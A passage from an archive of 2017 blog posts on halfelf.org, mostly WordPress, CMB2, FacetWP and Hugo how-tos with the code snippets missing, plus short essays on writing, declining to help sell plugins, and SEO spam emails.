I *do not* recommend doing this for full page content. This is only vaguely smart if you’re trying to output something small that loads fast and isn’t going to mess up your site if someone has javascript disabled.
## The Code
What that code does is it grabs the JSON, sets the variable `content` to the value of the content’s ‘rendered’ setting. Then using `document.querySelector`, it tosses in the HTML to my class for `wpcontent` and I’m done.
**Categories:** How To
**Tags:** hugo, javascript, jquery
---
### [FacetWP and Genesis Pagination](https://halfelf.org/2017/facetwp-genesis-pagination/)
**Published:** May 3, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making pagination from Facet match Genesis.
**Content:**
If you use [StudioPress’ Genesis themes](https://helf.us/genesis), you may be used to that pretty numerical pagination instead of ye olde previous and next buttons. And if you use [FacetWP](https://facetwp.com/), you may have found out you need to use their pagination to make things work right.
Thankfully this can be fixed thanks to two people’s previous work.
## Replace the Navigation
First we look to Sridhar Katakam who came up with [an elegant way](https://gist.github.com/srikat/63e37184312d090deb50#file-gistfile1-php) to replace the normal Genesis post navigation. The code is nearly the same, I just single-lined the returns:
The nice part about this is that if you’re not using FacetWP on that page, it reverts to the default pager. I’m not doing a check on if Facet exists because I have this in a giant block that does it for me. If you need to, though, the code would be this:
And yes, you should always check if the plugin is loaded before you break things.
## Style the Navigation
The styling magic comes from a slight fork of Matt Gibbs’ code to [remove pagination if there’s only one post](https://gist.github.com/mgibbs189/69176ef41fa4e26d1419):
This is somewhat obvious. It adds in `` around each page item, and also wraps the entire block in the default Genesis code of `` to produce the default Genesis display.
**Categories:** How To
**Tags:** code, facetwp, studiopress, themes, wordpress
---
### [Why I Write About What I Code](https://halfelf.org/2017/why-i-write-about-what-i-code/)
**Published:** May 5, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Write and code to be a better writer and coder. Yes, it's that simple.
**Content:**
I was asked this the other day. Obviously sometimes I write about technology in general, or software I find and like, but a great deal of the posts here are about how I figure things out. And the reason I do that is, simply, it makes me a better writer and a better coder.
## Want to write better?
There’s nothing that will make you a better write than writing. You will learn your voice, your tone, and your flavor of writing only if you write. It doesn’t matter if your writing is bad at first. By writing more and more and more you will only get better and better at the process, and more comfortable doing it.
Getting into the habit of writing, where it’s an every day occurrence in your life, is imperative if you want to write better. It’s a talent, yes, but it’s also a skill. And if you don’t practice skills they get rusty. If they get too rusty, they break and you give up.
## Want to code better?
The fastest way to get better at code is to read and review other people’s code and try to figure out how they did what they did. The reason I can continue to think as sharply as I do about plugin reviews is that I do it every day. Every. Single. Day. I look at 30 to 100 plugins, review the code as written by just as many developers, reverse engineer what they’ve done, and I start to understand better. I peer review people’s code, day in and day out.
But nothing makes you a better code than coding. Obviously. And yet there’s one thing most people miss. You see, the critical review of your *own* code is absolutely necessary if you want to become a better coder. And in the absence of peer reviewed code, the best thing to do is rip it apart yourself.
## Can you explain your code?
That’s it. That’s the magic. If you can explain your code, why you did what you did, why it does what it does, then you are at the step of critically reviewing your code. The number of times my code has improved because I’ve blogged about it is uncountable. As I write my post, I find myself typing “I used the function X because…” and I stop. Why *did* I use that function?
It’s in the questioning of my own actions that I begin to understand my own internal logic. You know, the part of your brain your parents and teachers helped you form. Those early days of logic where you learned fire was hot and one plus one was two, you also developed your *own* style of thinking.
## Can you explain why?
My father likes to tell me I used to do my math backwards, from left to right, before my school taught me otherwise. On occasion, I still do it that way because I want to look at my math from a different perspective. Talking about why I do that changes my understanding of the process. The solution was always the same, but the process of getting there is vastly different.
When I talk about why I chose the path I did, I do more than just verbalize to myself what I’ve done, I teach someone else that there’s an answer and there’s a way to their answers as well. I’ve shown a path.
## I write to understand myself
Above all else, I write to understand myself. Only by doing that can I improve at anything.
**Categories:** How It Is
**Tags:** coding, essay, oped
---
### [CMB2: Size Matters](https://halfelf.org/2017/cmb2-size-matters/)
**Published:** May 1, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Size matters. Screens are not infinite and people hate scrolling. So make it suck less.
**Content:**
One of the problems with adding a million custom meta boxes is that you have to arrange them in a way that doesn’t make the post editor suck.
In today’s example I have the following custom meta ‘items’:
- Featured Image: 1
- Taxonomies: 3
- Dropdown selections: 3
- “Rating” scores: 4
- Text Boxes: 6 (1 plain text, 5 TinyMCE)
That’s a lot of data. And it takes up a lot of space. Here’s how I made it less insane.
## Group your data
While it’s tempting to show all your post meta in one giant block, don’t. This can sound counterintuitive because the goal here is to *save* space, but the problem is that not everyone who edits a post needs all the information. Let’s pretend you’ve tasked your intern (or yourself) with going through 560 posts and editing *one* field. You can minimize everything else to make less scrolling, so group your items wisely.
Make a section for ‘These are totally required’ and put it on top. Put the ‘We’d like this data…’ in another section. And then the checkboxes and yes/no dropdown can go into a sidebar. Less space, more filling.
## Use a grid
The first way to not go insane is to use [CMB2 grid](https://github.com/origgami/CMB2-grid). This allows me to combine related boxes into a simple grid pattern (hence the name) so they took up less space. The four ratings have commiserate text boxes, so with the grid I displayed the rating on the left and the text box on the right.
Similarly, all of my dropdown selections are small so I made a grid of two of them. They show up side by side in a sidebar.
## Only use TinyMCE when you have to
TinyMCE takes up a lot of room. But sometimes you really do need it and not just plain text. When you do, consider TeenyMCE instead of TinyMCE. TeenyMCE is a smaller version of TinyMCE, hence the name, and it only shows a small subset of the normal TinyMCE options. The advanced bar is gone completely. To use it with CMB2, you want to make the teeny option true:
And don’t worry, markdown works fine in the teeny window.
## Make TeenyMCE even smaller
Even with TeenyMCE, there were some values I knew we didn’t need. So I removed them:
You may not want to remove them all, but certainly you don’t need fullscreen.
## What are your tricks?
What do you do to keep your meta boxes from getting the best of you?
**Categories:** How It Is
**Tags:** cmb2, plugins, postmeta
---
### [Will You Help Me Sell My Plugin?](https://halfelf.org/2017/will-help-sell-plugin/)
**Published:** April 28, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** No.
**Content:**
I get asked this a lot. It comes with the territory, but people ask me to help them monetize their plugins all the time. And my answer is always the same.
## No
As much as I am a strong advocate of people making money off of WordPress, and as much as I support plugin and theme devs in their work, I’m not out here to help you run your business. While I do spend time thinking of ways to get people to pay for services and software, I don’t prioritize it, and most of my ideas are just that. Ideas.
Really what people are asking for is my ideas and my free work. And to that, I say no.
## Business Help Isn’t Free
If you wanted to *hire* me to help, to look at your code and to assist you in coming up with business strategies, based on my experience in the WordPress world, that’s a different matter. That gets a ‘no’ because I don’t have the time to dedicate to that work. I have a full time job that I do like, and I have some volunteer work I enjoy, and I have a very addictive side project. Since I enjoy being married, I don’t take on extra work right now. I don’t need the money.
But the point here, if you can’t tell, is that yes, I would expect you to pay me for my work.
## I’m No Good At Sales
Of course, keep in mind the fact that I’m a terrible salesman. I don’t like exaggerating what a product can do, I don’t like even suggesting a lie. I downplay. And that’s because I don’t like it when people promise the moon and only deliver low Earth orbit. I want realistic goals and possibilities. Can you do *anything* with this plugin? Sure. But it comes at a cost and I feel people should know that cost.
## I’m Hard to be Bought
Everyone may have a price, but my price is rarely money. I know this sounds weird, since I said I expect people to pay me for my work. You see, asking me to do you a favor for free doesn’t really happen. But also, asking me to do you a favor for *pay* won’t happen.
And by this I mean reviews.
I’ve been asked, many times, to review people’s themes and plugins and post about it here. And in general, I say no. I review the things I use and like *because* I use and like them. I’m driven by usability. If I like your ‘thing’ and I think people should hear about it, I’ll talk it up. If your thing is free or for sale, I don’t care. What I care is if your thing was what I needed and wanted, and I liked it.
## I Won’t Help You Sell
That’s not my deal. It’s not my deal on this blog. I’ve never been bought off for a review, I’ve never been asked “Would you review this product of mine?” unless I’ve already been known to use it. And even then, I’ve told people “You don’t want me to review it. I like it, but you have some bad bugs.”
I’m honest. I’m direct. I’m incurably truthful.
You probably don’t want me to help you sell your stuff, but if I really like it, I may anyway.
**Categories:** How It Is
**Tags:** essay, oped
---
### [CMB2, Select2, and Taxonomies](https://halfelf.org/2017/cmb2-select2-taxonomies/)
**Published:** April 26, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making taxonomies update based on CMB2 options, all so I can use Select2
**Content:**
I’m going to start with “This is not my best work.”
In using CMB2, I have created situations where it’s smarter to have the ‘normal’ WordPress taxonomy fields changed. Oh sure, they work most of the time for most things, but most is not all. In my situation, I had some custom taxonomies that I *did not* want people adding to from the post-edit screen.
To get around the issue, most of the taxonomies were drop-downs using the [`taxonomy_select`](https://cmb2.io/docs/field-types#-types-taxonomy_select) field type. That let me control the display and have the drop-down be the terms they could add. Anyone with admin access could add more, of course, but they’d see special notes about that. It gave me control.
The problem really arose when I had a multicheck list of terms to add. Yes, I had 1 to 20 terms that *might* be added. And while I could use [`taxonomy_multicheck`](https://cmb2.io/docs/field-types#-types-taxonomy_multicheck) to do that, it wasn’t perfect. It made the screen very large.
## Select2 is Better
[Select2](https://select2.github.io) is a jQuery replacement for select boxes. Using it, you can make a simple dropdown where you can have a single (or even multiple) selections, but also it has a nice interface for multiple selections:

That looks much nicer than a list or grid of 20 options. You click on the box and you get a dropdown:

## Select2 and CMB2
Thankfully there’s already a plugin/add-on for this with CMB2. Phil Wylie made [cmb-field-select2](https://github.com/mustardBees/cmb-field-select2) which I pulled into my site and it works quite well. Except… You can’t use it to save Taxonomy data properly!
This is due to a lot of complicated things, and while my first instinct was to complain to myself that core CMB2 could do it, and thus so could everyone, I know it’s not that simple. All the effort CMB2 put into making that work is little short of phenomenal. It was *hard* and it’s complex and it’s outright weird. I looked at the code and backed away slowly.
But that doesn’t mean it’s impossible. It’s just a little weird and it’s not my best work. But it does work.
## Show the Taxonomies
The first step is that you have to make a function to convert the taxonomy to something that can be used in a selection box. Thankfully Phil already did this and his [example code](https://gist.github.com/mustardBees/9eb84e47e8afce5ecad2) works:
Next you call that in your CMB2 code:
And now you can add taxonomy items via Select2. But … It doesn’t save the taxonomy data.
## Saving The Taxonomy Data
This is the part of code I’m not thrilled about. You see, the code in the previous section adds a new postmeta field for `theshows_genre` with an array of the IDs added. And that’s it. That isn’t what I wanted. I certainly could use the postmeta data to generate the output, but I used Taxonomies for a reason. They’re incredibly useful.
In order to save the data, I needed to take the content from the post meta and copy it into the values for saved taxonomies, but *only* sometimes. After kicking around the options, I decided that I would give priority to the postmeta, not the taxonomies. That would allow me to have them save the taxonomies all the time *unless* the post meta was empty.
This is not perfect code. It’s not even very good code, I don’t think. I’m not happy that I had to break the terms out instead of just using the the content from `$get_post_meta` but for some reason, `wp_set_object_terms()` wasn’t happy with an array of terms. It was fine with the slugs, so that’s the way I went.
The logic is basic. If there’s postmeta and it’s an array, it ‘wins.’ If it’s not, take the taxonomy data and push it into the term.
## Triggering The Save
But how to trigger that code? And where and when?
I wrote code for my custom post type that triggered a check every time the page was loaded. Which is why I don’t like it.
Obviously it’s not the best code out there. It runs too often, though at least it’s only on page loads.. It would be better if it only ran on save, however that had a problem with race conditions. I would end up with a case where the postmeta might still be blank. So having it run before the page loaded appeared to be my only hope. I also don’t like having the data stored twice, but there was a limit to how far I wanted to run with this.
Pull requests welcome!
**Categories:** How To
**Tags:** cmb2, jquery, plugins
---
### [Admin Alerts on Posts](https://halfelf.org/2017/admin-alerts-posts/)
**Published:** April 21, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Alerting editors to information in WP Admin makes sure people know what they're doing.
**Content:**
As the new WordPress.org plugin directory rolls out, I know a lot of people are fussing over the front end. I’m not for a very practical reason. I’m working on making the backend functional and educational.
## Information Is Key
A lot of the information about what a various post status means is something I understand from experience. My goal is to expand the team as broadly as possible and in order to do that, I must document. But documentation is more than just writing up a doc and telling people to follow it.
People need contextual reminders of what the status of a ‘thing’ is to understand what they must do next. With that in mind, I leveraged some code by Obenland to make [reviewer alerts better](https://meta.trac.wordpress.org/ticket/2693). Originally, you see, our plan was to let plugin developers edit things from the admin panel. Everything’s moving to the front end *except* for the reviewers you see.
## On Beyond Plugins
That’s all well and good, but what if I want to do it on my *own* sites? What if I wanted to have a site message for the editors on my site, so they’d know what posts are ‘done’ and which need some love? What if I wanted to encourage my fellow editors to edit a post I’d worked on?
I made my plan, based off the old [stub template from MediaWiki](https://en.wikipedia.org/wiki/Template:Stub), because that was always a good way to know if a post did or didn’t need some love.
1. I needed a way to ‘flag’ a post as a stub automatically
2. I needed it to display on the page being edited
3. I would like it to display on the front end but *only* to logged in users (for now)
## Stub Qualifications
In order to flag a post automatically, I needed to come up with criteria or qualifications that would mark a post as a stub. Obviously content was part of it, but measuring the quality of the content was going to be difficult.
My initial criteria for a stub was the following:
- Under 100 words in post content
- Empty meta value for “Worth it details”
Obviously that second item is unique to my situation, but having it meant I could measure engagement by how much someone knew about a show to enter the data. That criteria seemed too strict though. So I tweaked them to be an OR and not an AND. No matter what, if there was under 100 words it was getting flagged. And no matter what, if there was no meta for worthiness, it would be flagged.
- Info: No meta value for Worth It
- Warning: No meta value for Worth It and post content under 200 words
- Alert: No meta value for Worth It and post content under *100* words
## WP Admin Code
The original code that all this is based on is from [WordPress.org](https://meta.trac.wordpress.org/browser/sites/trunk/wordpress.org/public_html/wp-content/plugins/plugin-directory/admin/class-customizations.php#L221) (not the WordPress code but the stuff that runs the domain).
The reason it uses `edit_form_after_title` and prints the error instead of `add_settings_error` is that I don’t actually want these alerts to be dismissible and I only want it to show on post editor pages.
## The Output

There’s some improvements to be made, but this is a start.
**Categories:** How To
**Tags:** admin, alerts, information, wordpress
---
### [Front Facing Alerts on Posts](https://halfelf.org/2017/front-facing-alerts-posts/)
**Published:** April 24, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making 'admin' alerts show up on the front end as well as the backend of a WordPress site.
**Content:**
Once I wrote the back-end code to show [admin alerts on posts](https://halfelf.org/2017/admin-alerts-posts/), I decided to add in some front end magic.
Since the original code was written to be called by hooking into the `admin_notices` action, the obvious solution was to hook into something on the front end. But where?
## Genesis
I’m a fan of the Genesis themes. There’s a handy hook for placement called `genesis_before_content_sidebar_wrap()` and the call (based on last week’s code) is this:
And immediately that outputs this below the menu:

Obviously there’s no CSS going on there, but that’s okay.
## Not Genesis
That’s lovely but what if I don’t use Genesis?
While a filter like `add_filter( 'the_title', 'MYSITE_admin_notices', 10, 2 );` would work, it also calls it for every output of the title on a page. If you happen to be using a sidebar that links to your 5 most recent posts, it can get pretty messy.
And the problem here is that WordPress *doesn’t* have standard template hooks like that. You can use `get_header()` but that puts it at the top of every page. There just isn’t a way to say “I want this above the title” and have it work universally on all themes. Bummer.
That said, you can totally make the `get_header()` call work with a little CSS magic and a little extra if-checks.
## The CSS Code
Remember our goal in life is to load as little as possible on pages, so the best thing is to check if this is even the right post type:
The actual CSS is up to you, but mine looks like this and is cribbed from WordPress core:
This basically reproduces the same CSS as you’d see on the Admin Dashboard.
## The PHP Code
While we covered the brunt of the PHP code before, we need to make a few alterations to make sure that the output only shows on the right pages and to the right people.
The first changes will be in this section:
While it’s possible to use `is_admin()` to check if a visitor is on the dashboard or not, this is going to show on both front *and* backend. That means a better choice is `is_user_logged_in()` so our code will look like `if ( $message && is_user_logged_in() )` and now it only shows if you’re logged in.
But. The code shows on *every* page. That meant the code showed up on the static front page because it had no code and just widgets. In order to make it only show up on the right pages, I put in a check for what was called when.
Since I have multiple CPTs, I keep the code that is post type specific in a file that matches the name, and I have an extra file called `all-cpts.php` that calls common code that they all use. This helps me keep my code dry (Don’t Repeat Yourself). That makes it easy for me to use a switch based the post type and output the right code on the right pages:
Now the message shows up for logged in users only, and only on the intended pages.
**Categories:** How To
**Tags:** alerts, information, wordpress
---
### [Add An Item to the Publish Box](https://halfelf.org/2017/add-item-publish-box/)
**Published:** April 19, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Showing post meta (or anything else) in the publish box is just a function away.
**Content:**
You know that box on the side of your posts? With “Publish” and it has some information? What if you want to add *more* information to it?
Jetpack does it. Yoast SEO does it. You can do it too.
## The Concept
We’re going to be using a hookable action called [`post_submitbox_misc_actions`](https://developer.wordpress.org/reference/hooks/post_submitbox_misc_actions/) that fires *after* the post date information.
In this example, I want to grab the content of a post meta variable called `char_count` to list the number of characters associated with the post. And since I like my site to look pretty, I want to use the [nametag Dashicon](https://developer.wordpress.org/resource/dashicons/#nametag) on the side of it.
## The PHP Code
The first part of the code is making it work. I’ve already talked about how I calculated [how many characters belong to a show and shared the data between post types](https://halfelf.org/2016/sortable-custom-columns-another-post-types-data/). At this point, I have the data nicely saved in every show post, as the aforementioned `char_count` post meta.
In order to display it in the publish box, the code looks like this:
You can replace the terms with whatever you want, however please note the naming conventions for the div’s classes. This will come in handy in a second.
## The CSS Code
The problem with the above code is that it’s not *pretty*. And frankly pretty things get used more when it comes to software. In order to handle this, the CSS looks like this:
That’s basically stolen from how Core does it for the publish icon, only changed to the nametag Dashicon. Change `content: "\f484";` to be what you want.
## The End Result
In the end, it looks like this:

Which is exactly what I wanted.
**Categories:** How To
**Tags:** metabox, post meta, wordpress
---
### [Local: For When You Don't Need The Kitchen Sink](https://halfelf.org/2017/local-dont-need-kitchen-sink/)
**Published:** April 7, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A review on the app Local by Flywheel. tl;dr? I like it.
**Content:**
The app formerly known as Pressmatic was bought by Flywheel and converted to be [Local](https://local.getflywheel.com).
I’d been wanting to try Pressmatic for a while, but had some ethical concerns about [paying when I knew the owner wasn’t paying his other employees](https://halfelf.org/2016/trust-money/). At this point, however, the damage has been done in a way I can live with, so I downloaded Local to play with.
## Local Is an App
The best thing about Local is that it’s an app. Vagrant is awesome, but it’s 100% command line, and while I’m fine with that, not everyone else is. The learning curve for VVV is steep and, given what you can do with it, it’s not a bad thing. I love it but it can be overkill when I want to work on my plugins. Local is an app, it looks like a Mac app and behaves like a Mac app, so it makes it more obvious how I use it and what I do with it.
## Syncing Data
My biggest issue with VVV (and VVV2) is I can’t sync folders from Vagrant to my desktop. This is a workflow issue and I know it. For me, I have dedicated folders for my plugin development, all saved in `~/Development/wordpress/plugins-git/` (with a folder per plugin obviously). That makes it easy for me to script updates by saying “For every git repository in this folder, do a pull.”
Since I do my development work on multiple computers, having as much of this automated as possible is important for my sanity, no matter how much Sara Lance tries to destroy it. Every time I log in to my computer, it runs `the update` which pulls everything down and syncs.
And all that means, for VVV, I have two options.
1. checkout a git repository into the plugin locations for my site and edit those, syncing them back up.
2. manually copy files over every time I update them
But with Local, I can use the add-on [Volumes](https://github.com/getflywheel/local-addon-volumes) which lets me map a folder on Local’s virtual machine to my local desktop. Now it’s not perfect, but with this script by Andy Fragen, I was able to set up my site with actual honest to goodness symlinks:
\[gist\]https://gist.github.com/afragen/748e4780b6057d4c41cf9e466557042a\[/gist\]
Now I just edit my repositories and magically they’re updated on Local. Faster development for the win.
(My own fork of Andy’s code [is available here on Github](https://gist.github.com/Ipstenu/f378eaf3779546d385ca7836bc87abc7) – I made some changes but not much.)
## Conclusion
I use both.
VVV is great. I love it when I’m working on WordPress core, or god help me, WordPress.org itself.
But when it’s just me developing my own software and testing? I like Local. It’s good.
**Categories:** How It Is
**Tags:** development, local, review, wordpress
---
### [Multi Faceted Connections](https://halfelf.org/2017/multi-faceted-connections/)
**Published:** April 17, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Doing a little complex filtering with FacetWP to split apart serialized data into something less messy.
**Content:**
That’s a pun because I’m using [FacetWP](https://facetwp.com/) y’all.
As you probably know by now, I have a site that has a lot of weird data. And one of the problems I ran into with FacetWP and my site was that I saved data in a serialized manner.
## Simple Arrays
Since characters can have multiple actors, the data is saved in a serialized array like this: `a:1:{i:0;s:13:"Lucy Lawless";}`
I want to be able to search for all the characters Lucy Lawless plays, even if someone else *also* played the role, so to do that I need to tell FacetWP to save the data twice, an entry for each actor. To do that, I use this code:
That saves two entries in the FacetWP table like this:

## Complex Arrays
Buuuuut I also have a complex array where I list a show’s airdates: `a:2:{s:5:"start";s:4:"1994";s:6:"finish";s:4:"2009";}`
Now that doesn’t look too weird, I know, but the problem is I wanted to be able to compare the start and end dates, so you could get a list of, say, all shows that were on air between 1950 and 1960 (two, by the way). In order to do that, I had to break the array apart into not only two values, but two separate sources!
In order to make that work, I do this:
That gives me two database entries like so:

The reason this is done is because I have a facet that compares the datasets for `lezshow_airdates_end` with `lezshow_airdates` and if the numbers are between them, that’s what it shows.
And this works because of this filter:
That creates a new custom field based on the values in `cf/lezshows_airdates_end` so I can compare between the two. And with a snazzy slider, I can do this:

**Categories:** How To
**Tags:** facetwp, plugins, wordpress
---
### [I'll Know A Duck When I See It](https://halfelf.org/2017/ill-know-duck-see/)
**Published:** April 14, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Quack. Quack. Quack.
**Content:**
After I complained about [the new SEO scam,](https://halfelf.org/2017/new-seo-scam/) someone pointedly argued it wasn’t spam. And it wasn’t a scam.
It is and it’s both.
## What Is Spam?
By it’s most basic definition, spam is an irrelevant or otherwise inappropriate message, sent on the internet, to a large group of people.
With that definition in hand, someone who interrupts a Slack or IRC meeting to tell a joke is spamming. At the same time, Tweeting inanities is not unless you cut into a conversation thread. And the different being that Twitter is always irrelevant so any comment there is expected to be appropriately inappropriate.
## Spam is More Than Spam
The issue is that spam has expanded to be more than just that simple blast of junk you didn’t care about. Spam now includes things like being added to an email list you didn’t want to join. And it includes people trying to rip you off.
A scam is an attempt to get something from you. The end goal of a lot of spam is to scam you out of money, so the intersection there is pretty high. It always has been. The result of a spambot is to convince you to do something you didn’t want, in order to get something you have. But the target of scams is to out and out separate you from your money.
## If It Looks Like a Duck …
You’ve probably heard of the duck test.
> If it looks like a duck, swims like a duck, and quacks like a duck, then it probably is a duck.
When people read an email from some Nigerian prince, they know it’s spam because they’ve seen things like it before. But they also know it’s a scam because they’ve been taught that no one offers something for nothing.
## Unsolicited Emails Are Ducks
If you get an email you didn’t ask for, from someone you’ve never heard of, offering something that’s too good to be true (like ‘free backlinks’), it’s a duck.
If you look at the emails from these people who offer to help you fix your site and improve your links to broken locations, it’s a duck. It’s a scam, it’s spam, and you should delete it. Don’t even ask.
**Categories:** How It Is
**Tags:** ethics, scams, spam
---
### [Sharing WordPress Content with any PHP App](https://halfelf.org/2017/sharing-content-php/)
**Published:** April 10, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Using WordPress to show data on any PHP site, via the JSON API.
**Content:**
Last week I explained how I [shared my WordPress content with Hugo](https://halfelf.org/2017/sharing-content-hugo). Now, that was all well and good, but there is an obvious way I can do this when I don’t have a tool that understands dynamic content?
I’ve got PHP so the answer is “You bet your britches, baby!”
## The First Version
If you just want to grab the URL and output the post content, you can do this:
Now this does work, and it works well, but it’s a little basic and it doesn’t really sanitize things. Plus I would be placing this code in multiple files per site (not everyone themes as nicely as WordPress, ladies and gentlemen). So I wanted to write something that was more easily repeatable.
## The Advanced Code
With that in mind, I whipped up a PHP file that checks and validates the URL, makes sure it’s a wp-json URL, makes sure it’s JSON, and then spits out the post content.
You can see I have some complex and some basic checks in there. The URL validation is done via a [PHP Library called StrictUrlValidator](https://github.com/franksrevenge/StrictUrlValidator). If I was using WordPress, I’d have access to `esc_url()` and other nifty things, but since I’m running this out in the wild, I make do with what I have.
**Categories:** How To
**Tags:** json, php, wordpress
---
### [Sharing WordPress Content with Hugo](https://halfelf.org/2017/sharing-content-hugo/)
**Published:** April 5, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Sharing content between WordPress and Hugo with our new BFF, JSON.
**Content:**
When your life is just WordPress, there’s not a lot of headaches involved in making some posts and updating widgets and keeping your whole site in sync.
When your life isn’t *just* WordPress, it gets a little weird.
When you *want* to use WordPress to run your life a little more, you un-weird it by making it weirder.
## Rethinking Where the Content Lives
Normally we think about content living on its own site. Well, I have a ‘message’ that needs to be the same on five different domains. Just work with me here. The point is, if I want to update the header message on the five sites, I have to update five sites. Yuck.
Now, there are a lot of solutions to this. I decided I wanted one, and only one, place to update the header message. The most obvious is making a static text file that I could update when needed and import/include it in everywhere. But as I started looking into how I do that, my eyes drifted to WordPress.
What if I used JSON? What if instead of a file, I made a page on WordPress, grabbed the content from `https://example.com/wp-json/wp/v2/pages/12345` and parsed that so I didn’t have to do a whole mess of editing anywhere but on WordPress?
## Hugo
Guess what. That works. And it works extra well for [Hugo](https://gohugo.io) (a static site generator I’m fond of) because Hugo understands [dynamic content](https://gohugo.io/extras/dynamiccontent/). The one drawback is that it can’t live refresh remote data, so I will always have to push a change to the site to trigger this rebuild.
However if you ever wondered how to include WordPress’ JSON data into a Hugo theme, here’s what I have in my template for `utility-bar.html`:
The reason `safeHTML` is there is that otherwise Hugo wants to escape my HTML. Which is a wise choice! Default to not trusting.
This outputs the post content and I have a happy (enough) day. The more I look at it, the more I realize how much I can do with WordPress and Hugo, since regenerating the site just takes a push of Hugo content.
**Categories:** How To
**Tags:** hugo, json, wordpress
---
### [Genesis Themes: Author Box Shortcode](https://halfelf.org/2017/genesis-themes-author-box-shortcode/)
**Published:** April 3, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Author boxes as a shortcode? Surely you jest!
**Content:**
In building out a network of sites, I was struck upon by a feature of multisite I love, a feature of a theme I adore, and an inconvenience of the combination.
## Author Box
StudioPress’ Genesis themes include a feature called “Author Box” which allows authors to create bios from their profiles and show them at the bottom of posts. When you have multiple authors on a site, this is a great way to make sure everyone gets credit and that they can control it.
The code to make this show up is included in most (if not all) StudioPress themes, but if you need to add it for your post archives and single posts, it looks like this:
## Multisite Magic
Once the code is enabled, and once someone’s written a bio, their author box shows up for all sites on the network. This is great for what I needed, as it meant everyone had control and I could just set it and forget it. The only ‘annoying’ part is it’s the same bio for all sites, so if you have wildly different sites on your network, this may not be right for you.
This does harken back to my age old comment: WordPress Multisite is for a network of somewhat related sites.
By this I mean if all the sites on your network are related, let’s say for a school, then it doesn’t matter that everyone’s bio talks about their school work. But if you combine the school with hobbies, then it gets weird to announce that the champion archer has a PhD in neuroscience. Although that is pretty cool.
## Display The Author Box Anywhere
The other problem with the author box is you can only use it on pages or posts as context. Which is not what I wanted here. So I made it a shortcode.
This is obviously skewed towards Genesis themes, but realistically other than the code in `$gravatar_size` you can use this for any theme anywhere. The benefit of Genesis here is that most, if not all, of the CSS is done for you. The shortcode is `[author-box user="ipstenu"]` and it dumps out a full width user box of your named author.
## Display Multiple Boxes Instead
But… What if you wanted a grid? Or a group of IDs? Taking advantage of the fact that Genesis comes with columns, the code looks like this:
The shortcode here is `[author-box users="ipstenu, liljimmi"]` and that puts out a column of either fullwidth, half, or a third. The default is a half, and if there’s only one item, it goes to full width, but I only put in a 1/3rd check because I didn’t feel the need to cover everything. If you want to nick the CSS, [StudioPress put it up online](https://gist.github.com/studiopress/5700003), and you can extend it as you want.
**Categories:** How To
**Tags:** code, genesis, shortcodes, studiopress, themes, wordpress
---
### [The New SEO Scam](https://halfelf.org/2017/new-seo-scam/)
**Published:** March 31, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The bottom line is that if it looks too good to be true, it is. No probably about it.
**Content:**
The email looked innocuous.
> I was just browsing Ipstenu.Org and saw in this post (link from 2002) you were interested in tech, and so I thought you might also be interested in linking to a resource we put together on the ways technology is improving health.
It went on to tell me about how they were comprehensive, up to date, etc etc. I admit, I wondered how they got my email in the first place, since it’s not listed on my site on purpose. But barring anything nefarious, I assumed they guessed, and since it wasn’t important to me that a personal blog post from 2002 get updated, I deleted the email.
Every five days after then I got a ‘follow up’ email from this person, Camilla Hathaway, and it was strange. I didn’t reply so why would they keep doing that?
But then I got an email from another company about a different post, asking me if I wanted to link to their article about ddos protection. And another from a third company for a post about cPanel.
They all sent follow up emails and they all were very ‘nice’ about it, praising my writing and telling me about broken links.
## Spam by any other name…
If the email was about running a banner ad on CNN for $725, you’d know it was spam.
If it was from the FBI telling you the corrupt government owed you millions, you’d know it was spam.
This appeared to be from a real person, a real reader. Except for the fact that there was no way they should have been able to find that particular email address. Except for the fact that they kept email. Except for the fact that who the heck reads old posts on a personal site from as far back as 2001 (I’ve been blogging a long time) and tell me that a link is broken or the information is out of date.
It’s weird, isn’t it?
Well, it’s spam.
## The New Spam Game
The old SEO spam was a lot more overt.
> We are a Leading SEO & Web Development Company and one of the very few companies which offer organic SEO Services with a full range of supporting services such as one way themed text links, blog submissions, directory submissions, article writing and postings, etc.
or
> I was doing some research on \[Subject\] and landed on your website.
You know the obvious ones. These new ones are more clever. They sound more like people. And the worst part is they aren’t all fake people.
You see … A real company, a legit company, run by real people in the UK, spammed the hell out of me with offers like this. Every day for almost two weeks before I blocked the accounts. This was after I pinged them on Twitter and asked them to leave me alone.
I shouldn’t have to.
If I don’t reply, I’m probably not going to. But I surely am not going to reply within a day if you email me daily. The new spam game, the new *scam* game is to be nice and hammer you with a request over and over and over.
## If It Looks Too Good To Be True, It Is
The bottom line is that if it looks too good to be true, it is. No probably about it.
**Categories:** How It Is
**Tags:** oped, seo, spam
---
### [The Grammar of URLs in Email](https://halfelf.org/2017/grammar-urls-email/)
**Published:** March 29, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Using URLs in your written copy isn't impossible, it just requires a bit of thought. Like everything else.
**Content:**
At many points in time I’ve complained that if you have a URL in your email, don’t use a period at the end of it because that can break links. That led to me being asked what the proper usage of URLs with punctuation actually is.
This is not the law but it’s the rules I’ve come up with to ensure readability, linkability, and sanity when emailing links.
## Assume no HTML
It would be easier if I just said “Visit [example.com](http://example.com)” and it was a link. You’d know what to do. You click on a link. The problem is not all email clients are HTML friendly. I’m aware it’s 2017. The fact is, the world is not as advanced **globally** as you might wish. Thus we have to assume that we will be emailing someone who cannot see HTML.
Arguably that means they’d see `example.com` and that may be okay to some of you. It’s not to me, since I aim for the lowest *common* denominator, and I know that modern email clients will convert `http://example.com` to a link for me. Therefore the correct solution is to send only the URL, without HTML surrounding it.
## Style Manuals
The Chicago Manual of Style, which has been updated a few times, suggests you format footnotes with URLs as follows:
